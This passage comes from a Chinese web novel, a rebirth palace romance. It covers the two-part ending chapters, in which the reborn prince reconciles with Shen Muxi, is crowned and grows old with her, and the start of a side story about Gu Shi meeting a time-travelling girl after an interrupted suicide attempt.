唯独只有她看他的眼神一如既往。 仿佛一切东西在她眼里只是一潭死水。 “多谢姑娘相救,不知姑娘姓甚名谁?” “相逢亦是缘分,只要我的食物能帮到公子就好。” 她勉强扯出一个笑容,提着食盒离开。 他想要追上去。 猛然惊醒。 握紧了手上的“东西”。 什么情况? 转头望去。 昏黄的灯光下。 面容憔悴的女子眼下一片乌青。 正紧紧地抓住他的手。 也许是累得太狠。 他动作的幅度那么大都没有将她惊醒。 也许是她的睡颜太过恬静。 慕容景衍情不自禁地伸手,想要戳一戳她的脸蛋。 手还没伸出去。 后背传来的尖锐剧痛,顿时让她不敢轻举妄动。 就这样看着也挺好... 挺好... 慕容景衍看着与自己近在咫尺的人。 脑袋忍不住往她那边靠了靠。 听着她清浅的呼吸,继续沉沉入睡。 ... 翌日。 慕容景衍带着满足的笑容悠悠醒转。 对上了贺鸿跟贺玄两双探究的目光。 两人似乎也没有想到慕容景衍会突然醒过来。 纷纷忍不住打了一个激灵。 慕容景衍没空与这两人计较。 他的目光在周围梭巡了一番。 亲殿内,除了贺鸿贺玄,就只有一位太医,三名内侍。 除此以外,再无旁人。 “太子妃呢?”他的声音干哑。 眼看他还想起来,贺玄连忙上前扶他一把,并且往他的身后塞了两个大迎枕。 他不敢直面自家主子的目光,只好窝窝囊囊开口。 “姑娘..姑娘她已经离宫了。” 慕容景衍紧紧攥住手上锦被。 就在他以为自己又被耍而感到心神碎裂的时候,一个响亮“景叔叔”让他瞬间复活。 慕容景衍的眼底迸发出狂喜身材,翘起的嘴角压都压不下去。 “筱筱,你怎么还在这里?” 顾筱筱一脸莫名其妙地看向慕容景衍抽搐的嘴角,“娘亲让筱筱留下来,筱筱不在这里,筱筱在哪里?” 闻言,慕容景衍眼底神采更甚。 “你...你是说...” “娘亲说她有事,要回去县主府一趟,所以就先离宫啦。 她担心景叔叔你不肯好好吃药,要筱筱来监督你。” 后面顾筱筱说了什么,慕容景衍已经听不进去了。 此时他满脑子都是。 县主府。 她回去县主府了。 心中隐隐有了猜测。 慕容景衍不再纠结。 一连三日都极度配合休养。 直到第四天。 他迟迟未见沈慕兮回来。 终于坐不住了。 不顾贺鸿贺玄的劝说,他让宫人抬着他,直奔县主府。 上一世的印象中,沈慕兮住的院子,里面就种了一树梨花。 慕容景衍几乎没有犹豫就往那边赶。 果不其然。 在那个仲有梨树的冷清院子里,正端端正正摆放着两个牌位。 牌位上除了有祭拜的瓜果,还有长明灯。 第202章 结局(上) 跟上一世,一模一样。 慕容景衍感觉自己的心都要提到嗓子眼了。 难道她真的... “你来啦。” 身后传来一个清脆的声音。 慕容景衍急忙转身。 沈慕兮坐在轮椅上,眼泛泪花地看着他。 两个坐着轮椅的人,遥遥相望。 明明两人之间只隔着一个门槛。 却像是走过了沧海桑田。 我...我想找你,寻一个答案。 慕容景衍到嘴边的话,无论如何都说不出口。 “你都记起来了?” 好一会,他才找回自己的声音。 看着沈慕兮依旧还是那副淡漠的模样,他心中狂跳。 既害怕沈慕兮知道以前的事情以后会误会他是因为两人不完整的上一世才与她在一起。 又害怕沈慕兮即使知道两人上一世的羁绊依旧保持以前的态度。 思忖间,贺鸿已经将他推到她的身边。 沈慕兮没有退避,只是垂眸看着盖在腿上那条精美的薄毯,“换个地方聊一聊?” 慕容景衍点头,“好。” ... 县主府经过修缮。 比沈家的人住在这里的时候还要精美。 梨树旁,是一个池塘,池塘旁,有一个雅致的小水榭。 天空不知道什么时候,下起了小雨。 水榭内,燃着银丝碳。 两张轮椅并排而坐。 “你什么时候记起来的?” 雨点砸落在水面泛起一圈圈涟漪。 像极了慕容景衍此时的心绪。 沈慕兮伸手接住了几滴水珠砸落在栏杆上溅起的水花,轻轻揉搓了一下,丝丝凉意在指尖漾开,很快散了去。 “前几天,你受伤昏迷,我牵上你的手,困意袭来,就一直做梦。” “原本以为,那只是一场普通的梦,但是梦里的感觉太过真实,而且有一些事情是真实发生过并且存在,所以我就回来县主府求证。” “结果...” 她耸了耸肩,朝慕容景衍微微一笑,“县主府的场景不仅跟我梦中的场景一模一样,连后院那棵我没见过且被虫子蛀得腐朽了的歪脖子树也在,我就信了,再加上...你对我的态度突然转变,我就多想了几层。” “后来,我一直在整理两世的事情发生时间以及结局对比,从你态度转变以后发生的事情,每一件都在脱离上一世的轨迹。” “南渊北宸的战乱,本该死在我们出使时候的显王,还有...上一世功成名就的顾时,被贬谪惨死他乡的裴望。” 她看着慕容景衍的眼睛,将经历过的事情,一桩桩一件件地说出来。 慕容景衍从最开始逐渐震惊,到后面慢慢淡然。 “我不后悔回来以后做的每一件事,两国战乱并非我想看到,显王很适合居高位,可惜他没了,北宸反正都要落入旁人手上,那就不如落入我的手上。 而顾时欠你两辈子,上一世,他也没有得到好的报应,裴望,也是我惋惜的一个人才,只可惜,重义,是他的优点,也是他的夺命刀。” 他苦笑,“上一世,我没能帮到你们,这一世,冥冥之中,也许是上天给了我缘分,让我救了筱筱,重新与你相遇。” “可是,万一,我没有来到这里...” “沈曦与你,从来就不一样,上一世,我遇到的,亦是你。” 慕容景衍说得斩钉截铁。 沈曦震惊得微微张开嘴巴。 慕容景衍随手把她的嘴巴合起来。 “你猜,我为什么在有所怀疑的时候,一下子就能够笃定,你是沈慕兮?” 沈慕兮瞳孔微缩,“你从那时候就...” 天爷,她那会,只以为慕容景衍知道了她不是本尊,要兴师问罪。 她满脑子想的都是如何保命。 “那时候,只是猜测,而且,事情知道的也不完整。” 说到这里,慕容景衍深深叹了一口气,“但是,我心里的感觉,一直让我靠近你。” “不,正确来讲,是与你跟筱筱相遇后,我就一直在做梦,梦境破碎,醒来的印象却极为深刻。” “直到...” “直到什么?” “直到,你给了我一模一样的丹药解毒,那时候我就在想,不管我对你的奇怪感觉是什么感情,都要好好护着你们母女二人。” “对我而言,筱筱就是我的小家里面的一份子,不论筱筱的父亲是谁,只要孩子的母亲是你,就足够了。 你的孩子,就是我的孩子。” 听到这里,沈慕兮猛然抬头。 “你怎么知道...” 她最介意的,除了慕容景衍会负了她。 就是慕容景衍对筱筱的态度。 害怕自己一旦真的退让,慕容景衍就会对筱筱冷落。 慕容景衍看向沈慕兮的眼神一如既往的坚定与纯粹。 “沈慕兮,我算计过许多人,包括我连自己都算计进去了,但是唯独没有想过算计你。” “我还知道,你现在最害怕的除了我的态度,就是担心我以后有了自己的孩子会冷落筱筱。” 说到这里,他小心翼翼地覆上了她的手背,与她十指紧扣。 “请你,在心中,给我留下一席之地,顾时给不了你的安全感,我给你。” “口说无凭,我愿意用时间作为见证,沈慕兮,留在我身边,可好?” 说到后面的时候,他的声音带了几分颤抖与小心翼翼的试探。 沈慕兮的心像是被紧紧揪起。 她脑子里此时已经忘记了如何思考。 被握住的手,几乎是本能地反握了他即将松开的手。 “那就...再试试。” 她鼓起全身心勇气与他受宠若惊的目光对视。 “慕容景衍,你知道的,我曾经被骗过一次,若是你再骗我,我便与你,至死方休。” 慕容景衍眼底的受宠若惊散去,抖着手反握她的手。 “好。” 当天,沈慕兮与慕容景衍住在了县主府。 沈慕兮的腿伤筋动骨,即使要走路也要拄拐。 慕容景衍后背箭伤还在愈合期。 还不能长时间走动。 两个伤患,只能在轮椅上谈天说地。 什么都做不了。 梨树下。 沈慕兮跟慕容景衍围炉煮茶。 “你还记得,我们煮过几次茶?” 沈慕兮为慕容景衍添了一杯茶,“在我上一世做灵魂的时候,我曾经在你身边,做过一段时间魂体,你就喜欢在我坟前煮茶。” “因为你说过,茶水可以涤荡你心里的戾气。” 慕容景衍端起茶杯轻嗅,一饮而尽。 “梨花酿?” 沈慕兮嘴角微扬。 “殿下的鼻子真灵。” 梨花酿是南渊一种很久时候的酒。 古籍记载,梨花酿无色无味,只有在入口的时候微甘略带酒气,喝完满口梨花香。 后劲极大。 相传,三个猛汉不敌一碗梨花酿。 慕容景衍喝下一小杯,立刻觉察到了不对劲。 正常梨花酿回口微甘。 可这个梨花酿却带着浓郁药气。 根本不是真的梨花酿。 “这是...” “殿下也许不知道,你身上的毒,并非一般腐毒,清除的毒素,也只能让伤势愈合。” 说完,她仰首喝下另外一杯,起身,慢条斯理的拄拐走到慕容景衍身边。 她走一步停顿一下。 慕容景衍心都要揪起来了。 终于,好不容易等她走到自己跟前,他抬手拉过她,让她稳稳落在自己的腿上。 沈慕兮顺势伸手环上他的颈脖。 精准地印上了他的唇。 慕容景衍瞪大眼睛看着她紧闭的双眸,双手紧紧握住轮椅扶手。 须臾间,一阵苦涩的药味顺着她的吻轻轻渡入他的嘴里,滑入他的咽喉。 沈慕兮退开,看到他还维持刚才的姿态,不禁笑了出声。 “没想到,殿下居然还会这么害羞。” “你...” 慕容景衍双而通红,眼尾因为缺氧染上一层脂色。 唇上还有她的柔软触感。 好一会,他才找回自己沙哑的声音。 “你...你做了什么?” “我能做什么?” 沈慕兮捧着他的脸,一字一顿地开口道,“不过只是把一种可以中和你体内血毒的解药渡入你体内,你之前的毒解了,现在,我们中了一样的毒,从此,你生我生,你死我死。” “你疯了。” 慕容景衍当场就要翻过她的身子想要运功帮她将毒逼出来。 沈慕兮拉住了他的手,笑了,“我要是不疯,根本就不可能再与你尝试有一个开始。” “慕容景衍,记住了,以后你这条命,不是你一个人的,你要是有什么三长两短,我也活不了。” 既然要爱,那就干脆一点。 若是他爱她,为她而死,那么,他们就死在最相爱的年岁里。 若是他不爱她,她就自己死,死前带走他,免得他祸害别的女子。 慕容景衍闻言,紧紧将她拥入怀中。 “你放心,我们以后,都会长命百岁。” 他懂她。 若是这样能给她安全感,那他... 甘之如饴。 “慕容景衍。” “嗯?” “以后,我若是不想生孩子,你会如何?” “那我就过继一个继承皇位。” 他回答得毫不迟疑。 沈慕兮笑了。 笑容,比梨花绽放的清香味还要甜。 ... 在县主府休养小半个月以后。 沈慕兮跟慕容景衍回宫了。 以毒攻毒以后,又经过沈慕兮半个月的精心调养,慕容景衍的精气神明显好了很多。 前朝的事情,有慕容景衍之前安排的人在协助,慕容景衍只要按时批阅好奏折就可以。 而贺鸿跟贺玄则是忙着在朝中各个官员府上安插眼线。 慕容景衍悄悄离宫又回到宫里的事情,并没有太多人知道。 除了顾筱筱。 慕容景衍跟沈慕兮回宫的第一时间,宫人就去告诉了顾筱筱。 顾筱筱风风火火带着红豆绿萝来了。 “娘亲,你跟顾叔叔好过分,为什么离宫小住不告诉我?” 沈慕兮捏了捏她的小脸蛋,“这不是怕你担心吗?” “说谎,娘亲要是真怕我担心,就不会离开皇宫了。” 顾筱筱躲开了沈慕兮的魔爪,攫起小嘴抗议。 慕容景衍跟沈慕兮相视一眼,都从对方眼里看到了笑意。 随即沈慕兮一脸认真地看向顾筱筱。 “筱筱,你现在,愿意跟慕容叔叔姓,做慕容叔叔的女儿吗?” 这是在那半个月之中,沈慕兮跟慕容景衍商量好的事情。 顾筱筱以前经历了太多的磨难。 不管是上一世还是这一世,她都死在了顾时的忽略之中。 顾时,早已不配做顾筱筱的爹。 但是,名字是筱筱的,他们还是得问过她的意思。 沈慕兮甚至都做好了顾筱筱要去考虑的准备。 没想到。 她的话一出口,她立刻满脸欢喜地看向沈慕兮,“娘亲,筱筱真的可以跟景叔叔姓,以后叫景叔叔做爹了吗?” 慕容景衍点头,笑容温和,“只要你愿意。” 顾筱筱当即兴高采烈地上前抓住慕容景衍的手,“筱筱愿意,以后,筱筱是不是就是景叔叔的女儿了?” 慕容景衍故意板起脸,“还叫景叔叔?” “爹爹。” “乖~” 沈慕兮被两人的夸张表情逗笑了。 一家三口笑作一团。 ... 一个月后。 慕容景衍的身体伤势基本愈合。 本来暂时搁置的登基大典提上日程。 登基大典当日。 沈慕兮像一张紧绷的弦。 “十二旒冕冠呢?不是已经提前准备好了吗?放哪了?” “兮儿,在我头上戴着,你不要太紧张。” “紧张,对,你不要紧张,反正就是走个过场,礼数周全就好了。” 现在到底是谁紧张了? 慕容景衍努力压下自己的唇角,张开双臂,任由她在他的身上寻找不合礼节的地方。 从昨晚开始,她就已经紧张得恨不得什么事情都亲力亲为。 慕容景衍没有阻止她。 因为,她这是太过在意。 登基对他来说,是人生大事,对她来说,也是。 其实她出现的那一刻,所有的礼节,在他这里,统统都要靠边站。 她太苦了。 往后余生,他要把所有的甜,都给她... ... 登基大典十分顺利。 沈慕兮在慕容景衍事先安排的观景台上,远远看到他身穿九龙玄色织金线龙袍,头戴十二旒冕冠,一步一步走到龙座上。 转身的一瞬间。 万臣朝拜高呼—— “吾皇万岁。” 场景壮观。 看得沈慕兮热泪盈眶—— 若是上一世,他没有冲动,只怕早已成为南渊天子。 好在,这一世,他得偿所愿。 她,亦然。 ... 第203章 结局(下) 慕容景衍登基的第一件事,就是大赦天下。 第二件事,便是册封之前的小郡主慕容筱筱为安平公主,并给出了及笄之年给公主赐下公主府的恩典。 第三件事,便是立下南渊皇室无后宫的规矩。 第四件事,昭告天下,三个月之后的立后大典要以大婚礼节将沈慕兮迎娶入后宫。 众臣哗然。 一个月后。 长禧居。 顾筱筱在药圃跟夏蝉辨认药草。 沈慕兮在凉亭下围炉煮茶听着绿萝跟红豆绘声绘色地将今日朝堂之上发生的事情。 “...小姐您不知道,那个何大人,才刚说出来,皇上当即给他两个琴棋书画样样精通的女儿赐婚给了周将军的儿子和赵将军的儿子,何大人脸都绿了。” “奴婢还听说,何家的两个女儿是好的,可惜摊上了一个不靠谱的爹。” 绿萝接话,“可不是吗?您说巧不巧,那个周将军的儿子跟赵将军的儿子跟何大人的大女儿、二女儿似乎感情不错,可惜那个何大人心高气傲,看不上武将,在周将军跟赵将军上门提亲的时候,把东西都扔出去了,这下皇上赐婚,他想抗旨都抗不了。” 沈慕兮嘴角微扬,没有说话,丝毫不到眼底的笑意暴露了她实际的心境。 很奇怪。 明明她与慕容景衍在一起,她应该高兴才对。 可是... 每当高兴的时候,她的心底总会涌出一阵难以言喻的情绪... 这种感觉,让她很不安。 就在她走神的时候,慕容景衍悄无声息的来了。 “说什么呢?这么高兴?” 宫娥内侍纷纷朝慕容景衍见礼退下。 沈慕兮起身相迎,正要行礼,被他拦下了。 “我与你之间,何须这么生分?” 两人相携坐下,慕容景衍一下子看到沈慕兮面前煮好的茶。 茶汤色泽清淡,闻着似茶香又像药香。 “前两天晒好的药茶,固本培元,喝一口?” 慕容景衍也不客气,自己动手倒了大半杯。 即使之前身上的伤势痊愈,慕容景衍的体质依旧有点偏寒。 喝下药茶的那一瞬间,他只觉得一股暖流从胃里蔓延腹腔,再游走到全身。 他惊喜地看向沈慕兮。 “你这是,特意为我备下的?” 沈慕兮傲娇挺直腰板,口是心非,“那是为我自己备下的,谁叫我的命绑在你身上。” 慕容景衍欢喜,又多喝了几杯才放下茶杯。 在药圃玩得不亦乐乎的顾筱筱,不,她现在是慕容筱筱。 慕容筱筱看到慕容景衍回来,泥猴似的提着裙子飞奔过来。 “父皇。” “你跑慢些。” 慕容景衍拎鸡仔似的提着她的后领,扶她站好。 看到她脸上还有一些泥印,还没等沈慕兮开口,他就自己取出帕子为她拭去脸上脏污。 沈慕兮则将她凌乱的发丝缕好,将发冠扶正。 头上发冠繁复,有些因为她刚才一路小跑动作幅度太大而紧紧缠着她的发丝。 要解开还真不容易。 一不小心,就扯到慕容筱筱的头皮。 “我来。” 慕容景衍接过了沈慕兮手上的柔软发丝。 眉头紧皱,“若是平日在宫里,你不必穿得这般繁复。” “可是,为我梳妆的平儿说,筱筱穿着得体,父皇您也有面子。” “父皇不需要任何人给面子。” 慕容景衍不赞同地看向慕容筱筱,“皇宫是你的家,旁人来了,是旁人看着你的脸色做人,而非你做主人家还要仰人鼻息,没有这种道理。” “去吧,回去寝宫,让人帮你换些轻便的衣裳和简单的发饰,你是在自己家,不必这么拘谨。” 慕容筱筱跟着宫娥内侍退下后。 沈慕兮颇为吃味地睨了慕容景衍一眼,“唉,有时候啊,娘亲的三句话都不如爹爹的一句话来得好使哟。” “你这人,连孩子的醋都吃。” 慕容景衍知道沈慕兮是故意在他面前这么说。 筱筱不是他亲生的,不管他怎么做,她心里总会有不安全感。 他都知道。 所以,他能做的,就是顺着她的话,曲解她的意思。 “你要是吃醋我对筱筱好,那你就对我再好一点,让我对你更好啊。” “你...你别得寸进尺,给了你床,你还要盖被子。” “岂止要盖被子,”慕容景衍凑到她的耳边低语,“我还要让床上的美人儿乖乖做我的入幕之宾。” 沈慕兮一下子被说得面红耳赤,起身就要走开,“你个登徒子,注意一下你的形象。” “在你面前,我还要什么形象?这里又没有旁人。” 慕容景衍一把将她拖回自己的怀里,“尚衣局那边的嫁衣已经绣好了,凤袍凤冠这两天应该也会赶制好,到时候我让人送过来,你试一试,有不合适的地方,就让人去改。” 按照南渊习俗,新娘出嫁,一般都是自己绣嫁衣。 慕容景衍安排尚衣局赶制,一来是时间紧迫。 二来,是他熟知沈慕兮的性子,要么不做,做的话就要做到极致,尤其事关她的终身,若是让她按照自己的要求绣制。 莫说三个月,便是三年也不一定能绣得好。 她能等,他也等不得。 沈慕兮不知道慕容景衍在短时间内的小心思。 只羞涩点头,没有再推拒,而是转移了话题。 “大婚之前,我想去紫阳观看一看。” 慕容景衍的笑容稍稍一凝。 “紫阳观,在你第一次在南渊去北宸的时候,就没了。” 沈慕兮皱眉,“没了?” 慕容景衍点头,“一夜之间,道观以及周围的山,树木一夜枯萎以后就变成了荒山,连道观里面的道士,也不知所踪,为何去紫阳观这么突然?” 沈慕兮坐正了身子,一脸严肃。 “这几天,我一直在做梦,梦见了沈曦还在紫阳观。” 看到慕容景衍的神色也冷沉下来,沈慕兮连忙安抚,“我知你不信这些怪力乱神,但是...” 话未说完,慕容景衍已经握住了她的手,“我陪你走一趟。” “你平日事务繁忙,我去就可...” “听话,不仅是你,我最近也有做梦,也是与紫阳观有关。” 看到慕容景衍一脸认真不似说谎。 沈慕兮没有再拒绝。 ... 翌日。 慕容景衍退朝后,与沈慕兮一同换了往日外出的常服,带着贺玄跟夏蝉离了宫。 再次出现在紫阳观门前,沈慕兮有一种恍如隔世的感觉。 慕容景衍吩咐贺玄跟夏蝉停在观外,他与沈慕兮一同推门而入。 沈慕兮清晰地感觉到了慕容景衍手心沁出的薄汗。 “你在紧张?” 慕容景衍的手微微用力一捏,随后放松了些。 “没有。” 两人踏入道观的一瞬间。 道观的门无风自关。 沈慕兮不过只是转头看了身后一眼,回头的时候,连身边的人都不见了。 就在她慌张之际,一个陌生又熟悉的声音在她身侧响起。 “信士,好久未见,别来无恙?” 沈慕兮一眼认出了来人。 “玄清道长?” 玄清轻轻甩了一下拂尘,朝沈慕兮微微躬身行礼,“福生无量天尊。” 沈慕兮防备地看向他,“慕容景衍呢?” “他有他的缘分,你有你的羁绊,你们彼此都有各自的心结。” “心结?” 沈慕兮覆上了怅然若失的胸口。 明明,慕容景衍已经给足了他所有一切他能给的。 她却依旧觉得,心里有一块空缺尚未填满... “亏欠二字一直在心,信士感觉可还好?” 玄清的话犹如一记洪亮的钟声,让沈慕兮顿时醍醐灌顶。 对。 亏欠。 她一直高兴不起来,因为心里还有亏欠。 亏欠筱筱的部分,慕容景衍已经在极力弥补。 而亏欠这具身体曾经的主人——沈曦的部分,她想弥补,却无从下手。 所以,她才会不安。 “慕兮。” 一枚泛着莹润柔光的素面和田玉玉佩悬浮着落在她的面前,玉佩里传来了沈曦温柔的声音。 她惊讶地看向玄清。 后者双手合十朝沈慕兮再次行了一礼,“福生无量天尊,当初这位小信士的魂魄,还未完全消散,过去的种种纠葛促成了你们命定的母女缘分,何尝不是另外一种圆满?” 母女缘分? 沈慕兮眼底的惊讶变成激动。 “您的意思是...” “既是觉得亏欠,往后便好好弥补。” 玄清的声音愈发空灵。 伴随他拂尘一扬,玉佩稳稳落在了沈慕兮手上。 沈慕兮接住玉佩的那一刻,四周的场景恢复如常。 神奇的是,自从她握住玉佩的那一刻,她心里的那一块空缺位置,似乎填补上了。 慕容景衍正在担忧地看着她。 她缓缓吐出一口浊气,“我没事,回去吧。” 慕容景衍没有多言,目光落在她手上莹润的玉佩上。 他终究还是什么话都没问出口。 “嗯。” 当夜,紫阳观倒塌。 沈慕兮再也没有梦见过紫阳观。 两个月后。 沈慕兮跟慕容景衍大婚。 慕容景衍十里红妆将沈慕兮迎娶进宫,嫁妆浩浩荡荡,看不见尽头。 一年后,沈慕兮为慕容景衍诞下一子。 取名念卿,封为荣乐公主。 慕容筱筱格外喜欢这个新妹妹。 从念卿牙牙学语开始,慕容筱筱就带着妹妹到处去。 偶尔慕容景衍处理完朝中事宜也会带着妻子跟两个女儿在邺城周围微服出巡。 朝中百官对沈慕兮为后数年未诞下太子而不满,直到太医说慕容景衍年少时候伤了身子,能有子嗣的概率微乎其微才乖乖闭了嘴。 为了避免其他人生出不该有的心思。 慕容景衍在一天早朝,向朝臣“坦白”,曾经的逆王三皇子,还有一个流落民间的儿子,之前一直不说是因为局势不稳。 如今局势已经稳定,他会封那个孩子为太子。 如此一来,隐藏在朝中一些曾经死忠三皇子还未来得及拔出来的三皇子旧部,也彻底放弃了暗地里搞事情的念头。 得益于所有朝臣的团结。 慕容景衍在位期间,南渊国力达到了鼎盛。 作为一国之后的沈慕兮,作为南渊女子的表率,她建立女学,让女子有了进入学堂考取功名的机会。 除此以外,她废除了女子不得行商的陋习,鼓励女子独立走出闺阁。 废除缠足陋习,废除贞节牌坊。 民间大多夫妻之间地位不平等,她有理有据,舌战群儒。 最后成功在《南渊律例》上增加—— 无过被和离女子,聘礼陪嫁全数归女子所有; 虐打妻儿者,绞; 虐打妻儿致死者,凌迟,男方全家连坐失责知罪,流放三千里; 妻孕期豢养外室或眠风宿柳者,处以八十大板,男方全家连坐流放三千里; 拐卖孩童者,买卖双方全家连坐,诛九族...等等。 许多律法直到在南渊数百年后也在一直沿用。 此外,她撰写《男德》与《女经》,打破了男女不平等现状,偏远郡县的溺婴情况大大减少。 在她与慕容景衍共同努力之下。 整个南渊实现大同。 百姓富足,国家强盛。 五十年后。 丹阳。 夏日黄昏。 一处雅致的山庄里。 白发苍苍的慕容景衍正在船头戴着草帽泛舟采莲蓬。 同样白发苍苍的沈慕兮挽着简单的发髻,坐在船舱催促,“老头子,你倒是快一点啊,我都快饿死了。” “等等,等我剥好了叫你出来,这外头毒辣,可别把你的花容月貌晒黑了。” 要说慕容景衍与她成亲这几十年什么见长得最厉害,大概就是这张嘴如出来的甜言蜜语。 自从嫁给他的第二天,他就天天都在身边变相地夸她。 每天夸每天夸。 她舌战群儒,他在夸,不仅夸,还顺势帮腔,气得朝中那群老东西几乎翻白眼。 偶尔两人发生口角,她不顾身份顶撞他,他也夸,夸她观察细致,连他这么小的缺点都能发现,她肯定爱惨了他。 哼,即使是爱惨了,她也不会告诉他。 过去的黑暗,都是为以后的光明做铺垫,她不知道慕容景衍以后会不会变心,但是,现在他的诚意和努力,她都看到了。 因为慕容景衍会“夸”,两人甜甜蜜蜜过了几十年。 如今都年入七十了,她可以吃碗一碗小米粥,他还是继续夸。 年少时候发生的一切,仿佛就像一场镜花水月。 在他锲而不舍的努力下,她已经忘记了当初受过伤害的疼痛。 这个人,只要事关她,就从来不会细想前因后果。 其实她也一样。 一如当年。 慕容景衍没有问她的羁绊。 她,也没有打听他的心结。 他们只知道,从紫阳观回来以后,两人的相处更加自然,便足够了。 “老婆子,莲子剥好了,你来尝尝。” 船头,慕容景衍把剥好的莲子放在莲叶上,沈慕兮朝他咧嘴一笑,眼角的褶子几乎要夹死苍蝇。 “来了。” 她要的,从来不仅仅只是夏日赏莲吃莲蓬,冬日围炉煮茶。 而是有一人可以真心待她到老。 如今,她找到了。 夏日正好,荷香袭袭,一切都美好得恰到好处。 嗯... 莲子很清甜,她要晒一点留着。 今年冬天的围炉煮茶,她给老头子煮点莲子银耳羹。 【结局完】 第204章 顾时番外(上) 顾时初遇沈慕兮那天。 是一个漫天红霞的黄昏。 麻绳搭上歪脖子树,他双腿一蹬就要与世长辞。 没想到,才刚挂到树上,他脚下一重,被人抱住了双腿。 “生命这么宝贵,为什么要想不开呢?” 歪脖子树没能承受他们两人的重量。 “咔”的一下断了,两人重重摔倒在地。 “何人暗算我?” 心里本来就有一团火气。 转头一个身穿奇装异服,发丝凌乱的姑娘正揉着后庭站起来。 探究地看向他,温温柔柔地问道,“你是coser?” 她的声音很好听。 尽管他听不懂她说的事什么色? 从地上捡起麻绳,他打算等她离开了,再继续自挂东南枝。 本以为他不理会她,她就会自行离开。 不成想,她竟走到他跟前,怯生生地说,她好像迷路了,想让他指一下路。 她想回家。 他打量了她一眼。 刚刚没有太注意。 如今注意到了。 发现她不过只是十七八岁的年纪,一双眼睛似乎哭过,红彤彤的,还带着水汽。 在小姑娘面前自尽不好看。 他收了麻绳,给她指了下山的路。 “你沿着这条山路直走,就可以直达丹阳。” “丹阳,是什么地方?” 她似乎很害怕。 连声音都带着颤抖,“你...你该不会是山里的吊死鬼吧?” 他倒是想做吊死鬼。 这不是被她阻止了吗? 顾时没好气地瞥了她一眼。 费了一堆口舌,才给她解释清楚,他不是鬼,只是觉得,人生真的很没意思。 “这世上,还有很多我们没有去过的地方,没有接触过的人,更何况,你不过只是二十来岁,还有无尽的可能。 为什么会没意思?” 她反问。 夕阳之下,她虽然狼狈,可是看上去,却是充满生命力。 鬼使神差地,顾时跟她说起了自己的窘况。 “我本是世家落魄子弟,被流放至此,家母不堪忍受贫寒,因为一床被子,与我发生争执...” 其实因为被子发生争执,只是其次,最主要是,苏柳溪成亲了。 信件到他手上的时候,已经是三个月之后。 他爱慕苏柳溪将近二十年,原以为她与他的心意一样,没想到,在荣郡王府被牵连的第三天,苏府的人就上门退了亲并迅速定下了与虞府的亲事... 他像行尸走肉一样来到丹阳。 丹阳实在是太落后了,不仅落后,连日常生活所需也极为匮乏。 饶是有下人在帮补,挣到的银钱,也远远不够他们的日常开销。 “...所以,你娘亲因为一床被子弄脏了一点,就不想要了?” 她的语气惊讶。 顾时明白她为什么惊讶。 丹阳这个地方,一床被子,甚至是一件衣裳,都可以让人反目。 他们大多数都是以前流放的官员家眷以及犯了事情被流放到此地的皇室宗亲。 时间太久了,京城的那位忘记了他们,他们就在这里日复一日的生活下去。 娶妻生子,繁衍后代。 顾时就是太清楚这样的下场。 所以才觉得人生没有任何意义。 “可是...你现在还年轻,未来还有几十年,肯定还会有各种各样的可能。” 她最笨地重复着刚才的话。 “而且你模样这么好看,虽然是瘦了点,但是在人群里还是一眼就能被认出来,这个也是你的优点啊。” 尽管两人并不熟悉,她依旧在搜肠刮肚地安慰他。 顾时扯了扯嘴角,苦笑,“在这里,长得好看,不能当饭吃,说不定,还会给自己惹来麻烦。” 模样出挑,对于任何事情,都只能是加持,若是单单只有容貌出挑而没有任何实力与庇护,那就是灾难。 他替人写书信的摊子,不过只是支起来几天,就已经被人掀翻了好几次。 追风不是没有护着他。 但是,在这种地方,根本没有王法。 想要找什么人出头,要只能找地头蛇... 而地头蛇,不要金钱或者女色,他只要权势,他要在这里当土皇帝... 一个只能用权势解决的问题。 对于他这个被流放的人来说,几乎无解。 不想再谈论这样沉重的话题,顾时转移了话题。 问了对方姓名。 对方似乎受过什么刺激,难堪地低下头,“我...我叫沈招娣。” 听到这个名字,顾时的眼皮微微一跳。 “你在家,是不是特别不受待见?” 这种名字,他经常在一些村妇嘴里听见过。 什么“贱娣、小草...” 后缀一般都是“死丫头,赔钱货”。 她明显不想多说,“我要回家了。” 转身大步离开。 走了几步,她重新折返,似乎很不好意思。 “这路...好像跟我来时的不一样。” 顾时没办法,只好亲自带她下山。 一路走出好远,穿过了好几个小村庄,都没有找到她想要找地方。 她的脸色越来越难看。 直到月上柳梢。 她终于忍不住对顾时绽开了一抹比哭还难看的笑。 “我...我好像穿越了。” 从那天开始。 顾时收留了她。 康氏,有了新的发泄对象,顾时的世界,终于清净了。 不得不说。 沈招娣很好,人也勤快,脑子也灵活。 不仅会做各种面食,还会支摊子做各种物美价廉的小吃。 她来了不过三个月。 他们的生活得到了明显的改善。 夏末秋初,莲藕丰收时。 她下池塘用劳动力换来了没有人买、连喂猪都让人觉得塞牙缝的荷叶杆。 不久后,他们得到了来到丹阳以后最大的进账——她把莲藕的梗扯了藕丝,做成印泥卖出去,换来了五两银子。 不知道什么时候开始。 他对她有了异样的感觉。 追风跟在他身后,给出建议,“世子,其实我觉得沈姑娘人很好,她也喜欢你,还能赚银子,不如...” “你把本世子当成什么了?” 心中某个卑劣的想法一下子被追风说了出来,顾时转头看到屋后的那一片颜色暗沉的衣角,急忙打断了追风的话。 “我的妻子,自然是要与我两情相悦。 沈姑娘孤身一人来到这里,本就没有安全感。 纵然我心悦她,可是她到底是如何想,我们也没有问过她的意思,这样赶鸭子强迫她接受我,这样对她不公平。” 那一抹衣角慢慢退去。 他心中暗暗松了一口气。 没多久。 是他的生辰。 来到这里的第一个生辰,所有人还在吃糠野菜,他比平时多出来的一个煎好的鸡蛋跟一条鱼,还是追风把剑穗上的那一块玉佩典当了才换回来的。 今年,是第二年。 他的生辰宴不仅有鱼有肉,还有酒。 尽管酒汤颜色泛黄浑浊,跟京城时候没法比。 可是,这是他来到丹阳第一次喝到的酒。 难得一次主仆共庆。 酒过三巡,所有人都醉得东倒西歪。 连他也难得欢喜,喝了几杯。 酒意上脸,在月光映照下,他的脸上,绯色一片。 她主动红着脸,拉着他去了她的房间,把一套上好的文房四宝送到他面前。 借着喝下去的浊酒壮胆,她鼓起勇气,向他表明了心意。 “你...你的心意,我都知道,如今,我也跟你表明我的心意,顾时,我喜欢你,我们可以携手做一辈子的伴侣吗?” 听完她的话,顾时眼底迅速绽放出欣喜若狂的光芒。 很快,他眼底光芒褪去。 情绪失落地将文房四宝推回去她面前。 “你知道我是罪臣之子,家母性子直率说话不好听...” 话还未说完,他的手就被一双带着薄茧的手紧紧握住了。 “我们的日子,是过给自己看的,自己舒坦就好。 